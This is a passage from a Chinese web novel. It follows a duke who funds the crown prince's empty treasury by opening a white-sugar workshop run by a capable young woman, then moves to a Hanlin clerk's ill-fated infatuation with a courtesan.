等到大郑完全占领西川后,才发现孟玄这小子给大家挖了个多大的坑。因此不仅没有得到回报,反而还要付出更多的钱财、粮食、农具、牛骡,发往西川帮助当地百姓恢复生产生活秩序。 这么一通搞下来,国库直接见底。 那么就有人要问了,都穷成这个鬼样子了,还搞个毛的中秋灯会?不知道省着点花吗? 答案是:不管你搞不搞,都没钱花。 所以还不如放肆一把,营造出一番盛世迹象,起码能安定人心、提升国民的信心和自豪感。 好在今年的秋粮征收工作非常顺利,足以保证不会出大乱子,但赋税的征收却要等到十一月。也就是说,接下来的这三个月,朝廷将陷入勒紧裤腰带过日子的地步。能发出官员们的工资,就已经很不错了。 种平在西川用冷兵器和世家大族们商量、迫使他们为国效力、为民奉献的行为只能作为试点项目运行。要是把他的成功经验推广到全国,那大郑也基本要走上秦、隋两朝二世而亡的老路了~ 况且他是半拉半打,用未来的政治利益去换取当地世家大族的经济支持,如果纯靠武力去抢,那特么就是再往成都派上五十万大军,都扑不灭这些员外相公们的怒火。 缺钱。 很缺钱。 于是,文若亲自来到临颍郡公府,找凌晨喝茶聊天。 文若是一个比较腼腆的人,当然了,是在面对凌晨的时候。 如果两个男人之间嘻嘻哈哈打打闹闹,义父逆子的乱喊,那他们可以随便开玩笑和借钱花,当然也可以脱口而出让他滚蛋。 同样的年纪,你没钱,难道我就会有吗? 但如果两个男人之间关系很好,甚至好到互相尊敬对方的时候,那么,借钱这种事就很难开口了。 因为你心里明白,只要你开口,他一定会借给你,甚至会去借别人的钱给你用。 正因为如此,才让人无地自容,难以启齿。 中堂墙壁上挂着一副足有一个半凌晨那么长的画作,上面的超级赛亚人贝吉特耳朵上戴着界王送来的耳环,浑身周遭冒着闪电,表情威严冷峻,单手抬起,手中握着一颗光球。 左右两侧还挂着一副对联—— “十八号梦中女神。” “丑沙鲁西内西内!” 文若站在画作和对联面前看了半天,还是不解其意,只能放弃赏评,坐在了画作下方的八仙桌左侧。 他握着茶杯,心事重重,不断的啧嘴沉思,好几次欲言又止,最终鼓足勇气开口了—— “今天天气不错哈~” …… 凌晨皱着眉头盯着他看了会,又疑惑的望向堂外秋雨连绵的檐边珠帘和积水如镜的湿滑地面,一脸懵逼的附和道:“嗯……确实还不错。” “弟妹最近过的还好吗?” ?? 自知失言的文若尴尬的扭头望向地面,纵横战阵之间、游离宦海多年的太子殿下,耳根居然红了! 凌晨张了张嘴,也有点尴尬的胡乱应承道:“还……还好,能吃能睡。” “哦…哦哦……” 又是一阵沉默。 草,受不了了!尬死我了! “大哥,有什么事你就直说吧,咱们之间还拐弯抹角的做什么?” 有点不耐烦的凌晨直接捅破窗户纸,尽量让自己语气平和、不要刺激到文若。 要是别人,文若完全能够坦然自若的提出要求和商议事情,成与不成都不会影响到他的情绪和心态。但凌晨不一样,一个基本不怎么要求回报,全凭情谊对自己好的人,真的很难开口请他帮忙。 文若又不是那种能够心安理得的去向别人不断索取的小人物,大丈夫处事,恩报仇必究,这也是父皇从小就教导自己的道理。 “唉……愚兄……愚兄……” 凌晨明白了,他这是有事求自己。 于是他站起身来走到文若身边,毫无尊卑的伸手拍着文若的肩膀语气轻松的说道: “哎呦我说大哥呀!你跟我还不好意思上了?咱们兄弟什么交情?以后你可是要做皇帝的人,到时候我还得仰仗你呢!有事你就直说。 能办到的我肯定不会推脱,办不到的我也会尽量想办法。我今天跟你说句实在话,只要你不是想尊陛下为太上皇,或者关心我家柠儿,其他的任何任何事,你只管说!” 卧槽!! 文若闻言大惊失色,连忙摆手道:“不不不,这两件均非愚兄所欲所愿!” 凌晨将手搭在文若的肩膀上,用一种古怪揶揄的眼神望着他,似笑非笑。 “唉!” 文若无奈的叹了一口气,真是一分钱难倒英雄汉呐~ “户部统计上来的国库剩余,仅余三十万两,如今国家虽然看似强盛,实则不堪一击,难抵大的变故。愚兄已经在奔走借记了,访了十三家,能借的都借了。 唯有这开封府……冯大人和张大人的意思是,钱财上的事还得来与你商量,崔贤弟亦言:望云镇的织造局、各类生产作坊、临颍县的畜牧业都是你一手操办起来的,得问过你才好。” “原来就为了这事,我还以为你要干嘛呢,区区身外之物,何足挂齿?大哥需要多少尽管开口。” “越多越好……” 啧,这样啊~ 凌晨沉思了片刻,示意文若稍等后,跑到屋子门口,朝着外面大声喊道:“老二!老二!你他娘的死哪去了?把府里的账本给老子拿过来!” “哦!好的公爷~” 不一会,解二就抱着一沓蓝皮线订的账本走了进来。他先是向着文若躬身行了一礼,然后快速把怀里的账本都放在了桌子上,再次恭恭敬敬的向文若行礼后,退了出去。 凌晨翻开账本,又从一旁弄来笔墨和一个空白的本子,当着文若的面写写画画,时而皱眉沉思,时而点头提笔。 太子殿下跟个乖学生一样坐在他对面,盯着账本一言不发。 “卧槽,早知道这些年就不装逼了,学人家清高,送上门的礼物都没收,现在真是钱到用时方恨少啊!” 凌晨一脸懊恼的挠了挠后脑勺,将笔一丢,把算好的账本转了个方向,推到了文若面前。 他手底下所有的产业加起来,抛去维持运行的必要开支,能拿出来的全部资金只有十三万两。 这已经是个很恐怖的数字了,但在大郑国库所需要的数量面前,根本不够看,还差得远呢~ “没事没事,这已经很多了,愚兄……对愚兄来说,已经是意外之喜了!只是一下拿走这么多,不会影响你的开支和……” “千金散尽还复来,钱就是拿来花的,我跟柠儿本就出身微末,不攀不比的,吃用也简单,大哥不必担心,国家的事才是大事。” 顿了顿后,凌晨又皱着眉头说道:“问题是,这点钱也是杯水车薪啊……” 文若闻言也是愁眉苦脸的点着头叹道: “是啊……度支司今年的赋税还没有收,要是提前收取,怕是要出乱子。年初就已经计算过平定西川所需的银两了,但没想到损耗还是远远超出了预期…… 如此下去,纵使我们有机会取下江南,怕是也得缓缓,否则非要出大麻烦不可。宫中、宗室都已经在缩减用度了,只要撑过这三个月,消化了西川,一切就都好办了。” 凌晨点着头想了想,对文若说道:“行,那我叫老二吩咐下去,把银两集齐送到户部衙门去,大哥你派人交接一下。至于其他的……我尽量再想想办法。” 文若听后连忙摆手制止道:“不不不,你能拿出全部家财为国分忧,愚兄心中已经很感激了,其他的我自己再想办法吧,万不可再使你为难!” 凌晨笑着说道:“正所谓帮人帮到底,送佛送到西,再说了,我也是想办法试试,能帮上忙自然好,帮不上也无甚干系。大哥不必因此心怀愧疚。你我之间,不说这些。” 话是这么说,可不能这么做啊! “不可,这本来就……” 废什么话!走你~~ 凌晨不分由说就把文若拽起来推到门口,拉着他就往外走,吓的东宫侍卫和随从们连忙撑开油伞为他们两个遮雨。 看着凌晨站在府门口朝着自己挥手告别的身影,马车里的文若心中很不是滋味,放下帘子后,他只能暗暗下定决心,以后要加倍还给凌晨才是! 他和凌晨一样,都不喜欢欠别人东西,尤其是对自己好的人。 生活不易,太子卖艺…啊不,太子带货。 望云织造局产出的老布鞋穿在文若的脚上,多少有点违和,但好处是可以大幅提升布鞋的定价,还有很多人争相模仿购买。 老文穿足力健的时候,没有大肆宣传,皇帝的威仪还是很重要的,但太子殿下引领风潮也无伤大雅,毕竟他还年轻嘛~ 祁梅儿和段音的工作量骤增,疯狂向恩客和仰慕者们推荐新式内衣,忍着羞涩向一群大男人讲解望云卫生巾的分类,比如日用夜用、前几日和后几日的区别,还免费发放了一批样品,让他们带回家给娘子夫人们试用一下看看。 六度空间、低洁丝、月月轻松、护舒贝等等知名品牌也被大众所熟知,一向鼻孔朝天的殿帅也终于肯见客了,主动登门向大郑各大政治家族送礼、和豪门巨贾把酒言欢,与他们联合起来创办作坊,将许多独家技术拿出来分享,大家一起和气生财。 虽然不知道一向淡泊名利的殿帅为什么突然跟开窍了一样疯狂敛财,但有钱不赚王八蛋,大部分人都选择了和他合作共赢,顺带拉近感情。 如果汴京有事,他可以保护自己。 如果他要搞事,也可以放过自己。 光是推广现有的产品和技术还不行,这些只能靠薄利多销赚平民百姓的钱,得赚有钱人的钱才能在短时间内积累到足够多的银子。 说出来都想笑,大郑的糖很贵。 褐色的糖砖和黑糖多的是,大郑不缺甘蔗和甜菜。真正贵的是白糖,只有极少数制糖老工匠才懂得如何过滤掉杂质,从里面提取出色泽相对洁白的白糖块。 由于味道纯、杂质少、不影响菜品色相,所以白糖在调味和烹饪中占据着很大的作用。尤其是对江淮、江南地区的人们来说,是一种普遍需要的生活用品。 但白糖稀少,只有权贵人家才能用的起,凌晨也买过一些,说实话一般,里面的杂质还是不少的。 以前没心思搞这些玩意儿,但现在,巧了不是? 又是一个雨季,又是那位姑娘。 当初在印刷作坊门前偶遇,主动向凌晨搭讪询问的那位求职姑娘,机缘巧合下被误以为是凌晨的熟人,所以吕齐破格录用了她。现在已经是印刷作坊的小高层了,拥有丰富的管理经验和不俗的工作能力。 “见过郡公~” “梦阳姑娘来啦?快请进快请进。” 将画着飞鸢的白色油纸伞收起来放在门口后,印刷作坊的三把手、吕齐的得力干将、家住汴京外城云泽坊的王梦阳走进了正堂里,青柠笑意盈盈的迎了上去,拉住了她的手。 “快来里屋,我叫下面的人弄些炭火来烤烤,这雨好大,你看你的绣鞋和裙摆都湿了。” 梦阳姑娘笑着摇了摇头,按住青柠的手婉拒道:“多谢夫人好意,只是今日郡公相召,有公事相商。待了却了,我再陪夫人叙话。” 青柠闻言微微一笑,点着头说道:“那行,你们先聊,我去下人准备,直接抬到这里来。” 随后,她便走出屋门,转向右边消失不见。 凌晨起身指着右首的椅子说道:“坐。” 第197章 甜甜的梦阳姑娘 乌丝如瀑,垂下来的发梢有些地方还被雨水打湿;明亮的眸子波光流转,蕴含笑意;鼓鼓的脸蛋像是口中含了两颗青枣一样,透露出一股灵动活泼;云衫青萝彩绣履,清水芙蓉淡面妆。 清新素雅,落落大方。 有趣的是,每次见到她都是在雨天,这不禁让凌晨的脑海里响起一段旋律—— 你从雨中来~~诗化了悲哀~~ 我淋湿现在~~ “把你从印刷作坊调过来可费了我不少力气,平云那小子很少不听我的,可见你的业务能力确实很优秀。” 凌晨走到梦阳姑娘对面的椅子旁边,扶着扶手坐了下来,翘起二郎腿看向对方。 梦阳姑娘轻笑着说道:“那是侯爷抬举奴家,当初也是多亏了郡公扶持,奴家才得以在易阳侯手下效力。如今郡公相召,纵使愧对侯爷,也不能因为后事忘记前恩。” 凌晨惊奇的望着眼前的梦阳姑娘,哎呀…… 可惜这姑娘是个女儿身,不符合大郑的选官制度。她要是男子,去开封府衙混个一官半职,绝对不在话下。 “梦阳啊,你的能力我跟平云都看在眼里,是很不错的。你在这个位置上也有一段时间了,我觉得可以往上提一提了。” 听到这话后,梦阳姑娘并没有像普通人那般欣喜若狂,反而不卑不亢的冷静问道: “不知郡公要吩咐奴家做什么?奴家资历尚浅,许多事还了解的不够全面。若是在不擅长的领域替郡公做事,奴家担心不能服人,会耽误郡公的大事。 不过,若是郡公缺少做事的人手,奴家会尽快熟悉和掌握技巧,尽心竭力为郡公分忧,方不负当年提携相助之恩。” 临颍郡公要做的事,肯定不是简单差事,更不会从印刷作坊那里调有经验的老人过来,这差事怕是风险与机遇并存。 梦阳姑娘并没有太大的理想和抱负,只想多赚些银钱提升和改善生活品质,做个汴京城中的小富婆。如果参与到权力斗争中去,怕是会被搅的渣都不剩,所以她很谨慎。 凌晨听出了她的意思,伸手示意她不用担心,安慰着说道: “你可能不知道,我最初是在临颍县干捕快的。一开始也觉得:我这样的人,干个捕快就很好了,日子平平淡淡就行,不求什么荣华富贵。 但是后来啊,形势逼人,顶头上司都被调去了更重要的岗位,手底下又都是些新兵蛋子。适合那个位置的只有我了,我不干,会影响到很多百姓的住行安全和县衙的正常运作。 从捕头到县尉,我干了很久,基本上是干一件成一件,我要是做不成的事,别人也干不了。后来调到咱们汴京城里,需要面对的人和事也更加繁琐复杂,但基本上都能应对。 秘诀就在于,遵循自己的良心和朝廷的法度,只要做到了这两点,就没有什么能够影响或者威胁到我。 底下有没有人反对我呢?有。外面有没有人憎恨我呢?也有。但都不要紧,我站在公理这边,行的端,走的正。那些反对我的,都辞官下野了,那些憎恨我的,都去见太奶了。 至于说能不能挑起担子么……其实也不必过于担心,有些你觉得高大上的领域,里面的人其实跟我们没什么区别,都是两只眼睛两个耳朵。 秦王韩登你知道吧?他以前还被人追成丧家之犬呢~想不到吧?兵部尚书冯延冯大人,当年还敲诈勒索过我,让我向他行贿!太子殿下也逛过教坊司,当时他坐怀不乱,我还以为他不行呢~~就是当今陛下……” “郡公!还请慎言!” 梦阳姑娘再也保持不住平静的心情了,猛的站起身来朝着凌晨惊慌的摆手,阻止他继续说下去。 我敲!这些是能说的吗?郡公您的胆子也忒大了吧?! 你敢说,我不敢听啊! “我……有什么事您尽管吩咐,我做!” 呃…… “坐坐坐,先坐。” 梦阳姑娘冷汗淋漓、心有余悸的坐回了座位上,今日的谈话要是传出去,郡公会怎么样她不知道,但她自己肯定是死的不能再死了…… “我准备开个作坊,由你来做掌柜。” 啊? 就这? 梦阳姑娘听到这话后,心里暗暗舒了口气,还好,不是什么大事。 但是下一刻,她又愣住了。 “为太子殿下和户部赚钱。” 一股无形的压力如同大山一般压在了梦阳姑娘的心头和双肩。太子,户部,这都不是她一个普通百姓能够应对的。就连易阳侯的印刷作坊里,都是沾亲带故、山头林立的,需要打起十二分精神应对。 “郡公,此事干系重大,奴家一介女流……” “哎~”凌晨伸手打断梦阳姑娘,一脸轻松的对她说道: “你放心,这次和印刷作坊不一样,那个是我们给朝廷做工,这个是太子和户部有求于我们。只要你不是毫无缘由的辱骂他们,他们不敢把你怎么样的,还得照顾你的心情、看你的脸色行事。” 凌晨越是宽慰,梦阳姑娘就越是忐忑。 你的意思是副总统和商务部有求于我一个弱女子? 他们还得看我的脸色行事? 梦阳姑娘突然觉得,侯爷可能是在朝堂上出什么大问题了,需要用她来顶包,去提篮桥学习进修个一段时间。 唉…… 纠结了一番后,梦阳姑娘无奈的叹了一口气,就算是这样,临颍郡公的势力也不是她能够拒绝的。 罢了,既然躲不过去,那就让他照顾好自己的家人吧~ “郡公,奴家愿意做这个掌柜,只是还有些顾虑,想拜托给郡公,如此便心甘情愿、再无遗憾了。” 凌晨听的也懵了,不就干个掌柜么?怎么搞的跟生离死别似的?我又不是让你一个人兵分两路去攻下金陵…… “你说。” “奴家家中尚有父母、哥嫂在屋,奴家走后,希望您能照拂一二。” “这个自然,哎等等……那你自己呢?没有孩子和相公嘛?” 提起这事,梦阳姑娘不由得叹了一口气:“这……算了,既然郡公发问,那奴家就照实说了。幼时父母曾为奴家许下一门亲事,男方虽不是什么富贵人家,可也门当户对,相互熟识。 只是后来他科举得中,被典吏大人看中,招为了乘龙快婿,从此便形同陌路,再不相干。时至今日,奴家只醉心于事业,不问儿女情长。” 啊? 凌晨听的面露讶然之色,竟然还有这种事?这姑娘生的这么标致,言行举止又得体规矩,他还以为对方早就成家立业了呢…… “呃……那,那父母没有再给你重新许一门吗?你这么优秀,家里的门槛怕是早都被媒婆给踏破了吧?” “唉……” 梦阳姑娘显然没有刚进门时的那会儿开心和从容了,低头沉默下来,不愿多言。凌晨自知失言,于是便岔开话题: “没事,往事随风,都过去了。等你做了这个掌柜之后,包叫那绝情绝义千古少、枉披人皮在今朝的负心汉肠子都悔青好吧!” 梦阳姑娘哭笑不得看了凌晨一眼,欲说还休。 白糖作坊就选在梦阳姑娘住的云泽坊内,方便她上下班。凌晨按市价购买了十二户人家的宅基地,用最快的速度打通,很快就修建出了与印刷作坊大同小异的坊院,只是面积稍微小点。 这中间还出了点小插曲,凌晨买他们的宅基地,是给钱的。而且还额外托张承走了开封府衙门的关系,免费给他们在外城更好的地段安置了新的宅院。 可是有几户人家不知道是想坐地起价还是真的故土难离,反正就是不愿意搬,并且放出豪言:低于市场价的十倍,免谈! 于是,万般无奈的老实人凌晨,只好吩咐解二手持一杆装满了马蜂窝的“万魂幡”站在他们几家门口,一见到人就二话不说的往他们脸上招呼,没过两天这些住户们就心甘情愿的乔迁新居了。 从东西两市弄来大批的甘蔗,砍成小段后丢进石碾子里碾压成甘蔗汁,再用滤网过滤掉杂质和碎渣,倒进锅里用大火熬煮,期间不断的搅拌。 等到糖水有点浓稠后,倒进小罐里继续用小火慢慢熬煎,等到糖膏变成褐色的流状物,就翻出来倒进提前准备好的模具中,自然冷却成上宽下窄的糖砖。 再用挖铲从砖面挖出一个凹槽,在上面铺满稻草,弄来一盆黄泥水,淋在稻草上。当黄泥水慢慢渗透糖砖时,也会吸附掉上面的杂质和色素,糖砖就会慢慢变白。 然后只要把上面白色的糖砖和其他部分分割开,放进罐子里拿石臼碾碎成细碎的颗粒,就能得到与现代产品基本相同的合格白砂糖。 白糖在大郑是极为贵重的奢侈品,只有豪门贵族才能用的起,而且数量也不能保证随取随用,整出这玩意儿,跟点石成金没有区别。 而且中间的红糖还可以卖给平民,最底下的焦糖也同样不会浪费。 在作坊里亲手试验成功后,凌晨又让梦阳姑娘操作了一遍,她心灵手巧,做出来的成品比凌晨的还要精细。这也就意味着只要甘蔗能够供应上,这家作坊就能源源不断的收割大郑权贵的口袋! 当文若亲自带着东宫侍卫来到云泽坊内考察了一番后,立刻就回去上报给了文训。在太子殿下借钱一个月后,白糖作坊也成了和印刷作坊同等重要的战略要地,宫中直接派御林银卫前来接管了此地。 云泽坊的左领右舍们都懵了,他们这里属于外城,平时都是开封府的衙役皂吏管理的,什么时候多出这么多威风凛凛的御林军? 远在荆南的张照初和陈瑾也懵了,陛下亲自派内官来到他们的地盘上传旨,要求他们不要再送什么武夷山的白茶和洞庭湖的青蟹了,以后只收甘蔗,越多越好。 两位大人满脑袋问号,陛下都多大年纪了?还啃得动甘蔗吗?? 万一他把牙崩了,算谁的? 更离谱的是,一向名不见经传,默默无闻的梦阳姑娘,突然就被陛下钦定为皇商,并且还进宫接受了淑妃娘娘的召见。太子殿下亲自吩咐户部给她颁发度支司的路引。 不限数量、不限种类。 也就是说,她手底下的货物,不论里面装的是什么,哪怕是培土的粪,都将在整个大郑拥有绝对的路权。除了军队的运输队伍需要避让外,其他任何人、车、牛、马、骡都要让开,叫她的货物先行。 又过了十天,第一批白糖在汴京的蜜芸记上柜出售。 对,就是解二老婆芸娘开的那家甜品店。 完美闭环。 大郑的糖霜是220文一斤,里面还包含有瑕疵和杂质,成品已经很接近冰糖了,但依旧良莠不齐,能不能买到好的,全凭运气。 而全新的“梦阳糖沙”产品质量非常稳定,“色莹白如雪,味甘甜如蜜”,细细的颗粒也方便调味和使用,不像糖霜那样买回家还要自己研磨,一经推出就迅速火爆汴京贵族圈。 价格当然要走高端路线,不能拉低了老爷们的档次和身份,450文一斤,爱买不买。 当蜜芸记的门槛被争相购买的贵族家丁、下人踩破的时候,坐在街对面茶楼里观望的凌晨瞬间就有点不开心了。 定低了…… 制造发明出这种品质上乘、色相晶莹的白糖的梦阳姑娘,也在很短的时间内声名鹊起。由于她性格温柔,笑容甜美,再加上制造出了“梦阳糖沙”,所以人们都亲切的称她为“甜甜的梦阳姑娘”。 成名之后最大的烦恼就是,更加没人去她家提亲了。 她的背后站着国服第一、当朝储君和实际上的后宫霸主,这特么谁敢娶她! 有能力娶她的根本不敢接触,生怕被皇家猜忌和盯上。不会被皇家猜忌的普通人家又配不上她,因为她自己就是一个商业帝国…… 而且听说她还是易阳侯十分看重的心腹下属,有着印刷作坊的大厂履历和工部背景。 还有一些传言说她可能认识临颍郡公…… 梦阳姑娘的那位负心人从亲朋好友那里听说了这件事后,整个人如遭雷轰!后悔不迭! 如果当年他没有移情别恋,而是坚守初心娶了梦阳姑娘,那今天…… 失魂落魄的度过了煎熬的一天,下了值回到家中后,这位在人生的十字路口走错了方向的年轻人,看着骄横跋扈的大胖妻子和对自己哪哪都不满意的典吏岳丈,再想起梦阳姑娘当年那副羞涩的模样和甜美的笑容…… 啧, 徘徊庭树下,自挂东南枝。 第198章 这是个悲伤的故事 秋夜微凉,天渐寒,又是一年。 戌时末,街上少行人。 今日不知怎的,连平时热闹繁华的西市都有些冷清,黄狗蜷缩在店铺台阶下的角落,无精打采的望着街上人往人来;忙碌了一天的小二哥坐在门槛上,靠着框边低头打盹,懒得招揽客人进门。 一个头戴纶巾,圆领绿衫的年轻人出现在了街道上。年轻、沉稳,脚上踩的官靴将他与周围的贩夫走卒、市井小民泾渭分明的区别开来。 他的左手背在身后,右手捏着一个盒子。 那盒子通体皂黑,上面的花纹精致复杂,凹陷的地方漆黑不见,突出的地方在昏暗的灯笼下泛着明光,依稀能分辨出是木兰木材质。 椟尚且如此精美,里面的珠,可见有多贵重。 周迎,广陵高邮人,建隆二年进士,在翰林院打白工,抄了快两年的书了。 同年们有关系和人脉的,都已经进入六部和各个监正宗寺实习了,没背景的也都去了地方州府当起了县太爷。只有他还在翰林院抄书。 说不清为什么,他觉得,抄书也挺好的。 以后可能会去哪个部门做个小吏,熬个三四十年,临了能得个衔,叶落归根,就可以了。 只是,最近平静的生活掀起了一阵狂潮。 他跟着翰林院的宗正,在松竹楼会见上林苑、鸿胪寺的头头脑脑们,一群老头子把酒言欢吹牛逼,听得他昏昏欲睡,还要强打起精神来为宗正挡酒。 厌倦,无奈。 直到那首熟悉的《广陵散》从楼下飘来,亲切的乡音传入耳中。 他急忙走出宴厅雅间,趴在栏杆边望向了她。 她站在万人中央,长袖带风裙袂扬,为君起舞弄月光,从楼顶洒落的茉莉花叶漫天飞舞,周迎嗅到了家乡的渔舟莲叶,嗅到了旅人相思。 他记下了她的名字——沈棠。 原本官驿——衙门——酒楼的三点一线生活悄然发生了改变,每天枯燥无味的工作似乎也有了一点点期待。他的心不再那么沉稳、那么宁静。 他开始盼着下值了。 下了值后,周迎便立刻往西市赶,胡乱对付上一口后,急匆匆的进入松竹楼,在一片姹紫嫣红中寻找沈棠的身影。 直到看到她后,他才心安。 不为了占有亵玩,只为了驻足欣赏。 时间一长,沈棠自然也注意到了这个沉稳中带着一股柔和的官人。 出于好奇,她邀请他进入自己的闺帐品茗。 两个漂泊在汴京的广陵儿女,在言谈间相见恨晚,在交流中心跳律动。陌生的城市,熟悉的乡音,寂静的夜晚,那种无尽的孤独和藏在内心深处的寂寥,得到了片刻慰藉。 只是周迎的行事方式让沈棠有些看不懂,来了松竹楼,只送银子不睡姑娘的,这还是独一份。 比起肉体,周迎更加享受精神上的共鸣和灵魂上的振颤。 似是而非的暧昧,才最让人上头。 今日,他又用俸禄从金玉阁购得一份来自家乡广陵的东海蚌珠,通体紫色,光泽炫目。 折取雪下梅,转赠心上人。 “姑娘,周大人来了。” 沈棠的丫鬟早已跟周迎熟识,见他按时赴约,便立刻掀起帘子迎接,顺便娇俏的朝着房间里面喊了一声。 正在梳妆的沈棠听了,缓缓放下了木梳,恬静的扭头望向月帘外的堂中。 “沈姑娘,今日金玉阁新进了一批珠宝珊瑚,我偶然间听闻,有一件从广陵收上来的紫鲛泪,就给你收揽来了。” 沈棠听后缓缓起身,披着长发不施粉黛的从闺房里走了出来,周迎笑着将手中的木兰盒打开,将那颗质地上乘的珠子递到了她的面前。 珍珠本就贵重,紫色更是难寻,纵使沈棠见过很多好东西,也依然被眼前的物件吸引的有些失神。 “你能来就很好了,带这些做什么?如此破费……你应该将俸禄攒着,留着娶个正经姑娘的……” 周迎笑着将盒子重新盖好,转身递给沈棠的丫鬟,丫鬟立刻双手接过去,喜滋滋的抱着盒子钻进闺房里面去了。 才子佳人,各自依礼落坐。 “今天累吗?” “还好,不过是按照大人的要求抄录一些旧籍而已,只是近来秋雨连绵,库里的书许久不晒,已经生了虫。” 沈棠听到后轻捂着嘴唇忍不住笑意:“你这差事,怎么比庄稼人还要看天气?” 周迎无奈的叹了口气:“谁说不是呢,旧籍繁浩如海,有些更是孤本难寻,哪怕缺损一本,都将是莫大的损失。前人硕果,若是在我辈手中失传,罪莫大焉!” 沈棠止住笑,眸子里亮晶晶的闪着星星:“这么说,周大人是在做大事了?” 周迎皱着眉思索了一下后,自嘲的笑了笑:“这算得上什么大事……只不过是借着抄书的便利,多读一些圣贤旧事罢了~” 这种事,说大真不大。 可说小也不小。 国家图书馆的管理员,以后会怎么样,谁也不知道。 从这个位置上走出去的,有人写出了一本脍炙人口的话本,有人做了国子监的监正,也有人在成为了一朝宰辅,还有人撑起了一个民族的脊梁。 或是淹没在历史的洪流,或是傲立在时代的潮头,谁又能说的准呢? 沉默了半晌后,周迎看向沈棠清丽的面容,笑着问道:“那你呢?今天过的开心吗?” 沈棠悠悠的叹了口气:“唉~跟往常一样,正午时分,国子司业宴请陵台令,叫我去弹了几首曲子,后便一直清闲到这会儿了。” “辛苦你了~” “入了松竹楼,便是陪笑身,纵使心中千般不愿,也无法抗拒那些朝臣公卿。只是自己一个人静下来的时候,还是有些怀念小时候的茅屋圆月,广陵府的流水小桥。人要是永远不会长大,该有多好啊……” 沈棠的话也深深触动了周迎的思乡之情,引发了他的情感共鸣。 身如浮萍,于此大千世界飘零,前尘未卜,哪知他日祸福吉凶…… “噔噔噔~” 就在二人桌前长谈之际,门外突然响起了一阵脚步声,正在修剪架上盆栽的丫鬟放下了手中的花剪,打开房门探头一看,暗叫不好!连忙又将门给合上了。 她惊慌的转过身,用后背靠着门,瞪大桃眼对着周迎和沈棠低声喊道:“秦……秦王到了!!” !! 周迎面色一惊!秦王怎么来这里了?找……找沈姑娘吗?? 沈棠更是面露惊色,左右看了看后,连忙拉着周迎的胳膊,飘去一阵香风:“周大人,秦王器小,若是叫他看见了你,怕是会粗鲁相待……能否……能否委屈你一下?” 委屈? 怎么委屈? 还不等周迎反应过来,沈棠就不分由说的按住他的脑袋,把他按趴在地上,推着他滚进了绣床底下。 emm…… “吱呀~~” 房门开了,趴在床底下的周迎躲在黑暗中,闻到从卫生死角传来的一阵尘土气味,屏住呼吸,生怕弄出声来,被秦王殿下听到。 也怕坏了沈姑娘的清誉…… 他借着微弱的烛光小心翼翼的窥视,只见秦王殿下将腰间的刀挡在了案桌上,大大咧咧的坐了下来。沈姑娘用一双纤纤玉手剥开韩登带来的一筐橙子,取下来喂进对方的口中。 嘶…… 胸口有点闷是怎么回事呢? 织锦的帷幕渐渐被暖的有些温热,兽形的铜炉里升起的烟雾袅袅不绝,沈姑娘温柔的拿过来一把竹笙,悠悠的曲调听的人心情舒畅,灵魂安枕。 周迎渐渐听的入了迷,小心的调转身子,艰难的在狭小空间里翻了个身,平躺在地面上,望着漆黑隐约可见的榻底木板发呆。 他们在外面聊了很久,那些对自己说过的情话,沈姑娘也说与秦王听,逗的他哈哈大笑。 窗外听得梆子响,已近子时。 终于听到了声响,周迎微微侧头看去,秦王殿下起身,握住了桌上的腰刀,显然是要离开了。 周迎这才想起来,已经宵禁了。对于秦王殿下来说自然无所谓,可他只是翰林院的一介小吏。纵使有官身,可要是没有正当理由,也不能在街上行走了! 这咋整?难不成今晚要留宿在沈姑娘的闺房了? 这不好吧…… 就在周迎纠结为难之际,忽然听到沈棠的说话声—— “已经很晚了,王府离的远,你出了门去哪里投宿呢?夜深露重的,马掌也容易打滑……不如就别走了,今夜就留在这里吧~” 〣( ??Δ?? )〣? 床底下的周迎听到这句话后,整个人都懵了! 不儿……姐们,你是不是忘了床底下还有个我呢?? 还不等周迎想出办法去提醒沈棠,就听到韩登说:“好。” ?? ??? 脚步声渐渐靠近,周迎的眼前出现了四只脚,随后就看到沈棠蹲了下来,替秦王脱下了官靴。而后她自己走到月帘那里,将粉红色和淡绿色的帷幕都放了下来,也脱了绣鞋,上到了床榻上。 外面的丫鬟吹熄了蜡烛,走出去后轻轻合上了房门。 黑夜,静谧无声。 周迎有些怀疑人生的抓了抓自己的头发,这特么叫什么事儿啊!你好歹想个办法把他支开,让我先离开啊喂!! “嗯……呃……” ?? 一阵轻柔的娇喘透过床榻传来,紧接着便是悉悉索索的衣物声。再后来,虽然看不见,但周迎明显能感觉到眼前的整个床榻都发出了“吱呀吱呀”的摇晃,紧接着便是“啪啪”的撞击声魔音入耳。 呜呜呜…… 床下的周迎又是捂耳朵,又是抱胸口,饱受折磨,泪流满面…… 自己放不下的人,人家都放进去了…… 我靠! 秦王不知道就算了,你难道不知道我还在下面吗?你什么意思? 枉我还将你引为红颜知己,感叹他乡遇故知,同是天涯沦落人。 结果你拿我当调情工具寻刺激是吧? 说实话,要不是床上的是秦王,周迎绝对要从床底下翻出来,让沈棠知道知道什么叫“老乡见老乡,暴揍出内伤”了! —— 天亮后,韩登走了,周迎死了。 心死了。 三次,整整三次…… 他已经不恨沈棠了,只恨自己眼瞎,只怪自己天真。松竹楼里怎么会有纯洁的爱情呢? 他从床底下翻了出来,坐在梳妆台前的沈棠瞥了他一眼,本来想说些什么,可又转念一想,这还说个毛~ 索性不说了。 周迎也没有向沈棠问出“为什么”之类的傻话,只是平静的拍了拍身上的尘土,整理好自己的衣冠,默不作声的与沈棠擦肩而过。 小丫鬟虽然只有十几岁,却也知道现在有多尴尬,于是也没敢说话,只是小心翼翼的打开了房门。 周迎跨出房门后,皱了一下眉,从怀里掏出两角银子,塞到小丫鬟的手里。 至少她还把自己当个人。 走出松竹楼后,感受着清晨的新鲜空气,看着街道上开始为生活奔波的行人,周迎深呼吸了一口气后,身影落寞的向着不远处的一家面摊走了过去。 “店家,来一碗肉丝面。” “哎~好咧~” 食指轻叩着凹凸不平还有些油渍的桌面,他开始思索今天该抄录哪一排架子上的书,这会儿朝阳初升,或许可以把书拿出来晒一晒,吃完这碗面,就早早的去当值吧~ “客人,您要的面来了~” 一双指尖有些冻疮的细手捧着热气腾腾的面碗放在了自己的面前,汤面飘着油花,撒着翠绿的葱段,几根肉丝点缀其中,但面的份量很足。 还有一阵清新的气味传来,与松竹楼里的胭脂水粉腌出来的不同,这是一种难以言喻的…… 基因适配。 周迎不禁抬头看向给自己端面的人。 不到二十的年纪,一双眸子明亮灵动,头上裹着包巾,一身洗到发白的麻衣,两个小臂上套着碎红花点的护袖,腰间缠着黄布围裙,正笑意盈盈的望着自己。 